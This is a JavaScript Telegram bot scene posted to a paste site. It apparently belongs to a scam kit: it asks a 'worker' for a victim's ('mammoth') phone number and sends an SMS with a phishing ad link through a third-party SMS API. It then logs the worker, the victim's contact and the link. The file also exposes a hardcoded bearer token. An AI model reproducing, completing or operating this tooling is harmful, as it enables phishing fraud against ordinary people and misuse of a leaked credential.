Untitled

 avatar
unknown
javascript
2 years ago
3.7 kB
5
Indexable
const WizardScene = require("telegraf/scenes/wizard");
const { Markup } = require("telegraf");
const { Service, Country, Ad } = require("../../database");
const axios = require('axios')
const chunk = require('chunk')
const log = require('../../helpers/log')


const scene = new WizardScene('my_ad_send_gooso',
    async (ctx) => {
        try {
            try {
                if (ctx.updateType == "callback_query")
                    await ctx.answerCbQuery().catch((err) => err);
                ctx.updateType = "message";
                await ctx.replyOrEdit(`<b>🤖 Введите номер мамонта</b>`, {
                    parse_mode: 'HTML',
                    reply_markup: Markup.inlineKeyboard([
                        [Markup.callbackButton("Отменить", "cancel")],
                    ])
                })
                return ctx.wizard.next()
            } catch (err) {
                console.log(err)
                ctx.replyOrEdit("❌ Ошибка").catch((err) => err);
                ctx.scene.leave()
            }
        } catch (err) {
            console.log(err)
            ctx.replyOrEdit("❌ Ошибка").catch((err) => err);
            ctx.scene.leave()
        }
    },
    async (ctx) => {
        try {
            try {
                const ad = await Ad.findOne({
                    where: {
                        id: ctx.scene.state.adId,
                        userId: ctx.from.id,
                    },
                });
                ctx.wizard.state.mail = ctx.message.text
        
                const mail = await axios
                    .post("https://api.sms.limited/api/sms2", {
                        phone: `${ctx.wizard.state.mail}`,
                        sender: `${ad.hog}`,
                        link: `${ad.adLink}`,
                        type: "default",
                        template: `${ad.template}`,
                        userid: `${ctx.from.id}`,
                    },
                        {
                            headers: {
                                Authorization: "Bearer 52752d92-74f0-46cf-8cba-9c0d8c7a99d9",
                                Host: "api.sms.limited"
                            },
                        }

                    )

                await ad.update({
                    isLk: 3,
                });
                console.log(mail.data)

                // Код ответа: ${mail.data}
                log(ctx, `
⚡️Лог об отправке смс гусь
                                    
🚀Воркер: @${ctx.from.username}
🚀Почта мамонта: ${ctx.wizard.state.mail}
🚀Ссылка: ${ad.adLink}
                
🚀ID обьявки: ${ad.id}`)
                await ctx.replyOrEdit(`<b>✅ Письмо успешно отправлено</b>
                
Код ответа: ${mail.data.info}`, {
                    parse_mode: 'HTML',
                    reply_markup: Markup.inlineKeyboard([
                        [Markup.callbackButton("Главное меню", "start")],
                    ])
                })
                return ctx.scene.leave()
            } catch (err) {
                console.log(err)
                ctx.replyOrEdit("❌ Ошибка").catch((err) => err);
                ctx.scene.leave()
            }
        } catch (err) {
            console.log(err)
            ctx.replyOrEdit("❌ Ошибка").catch((err) => err);
            ctx.scene.leave()
        }
    },
)

module.exports = scene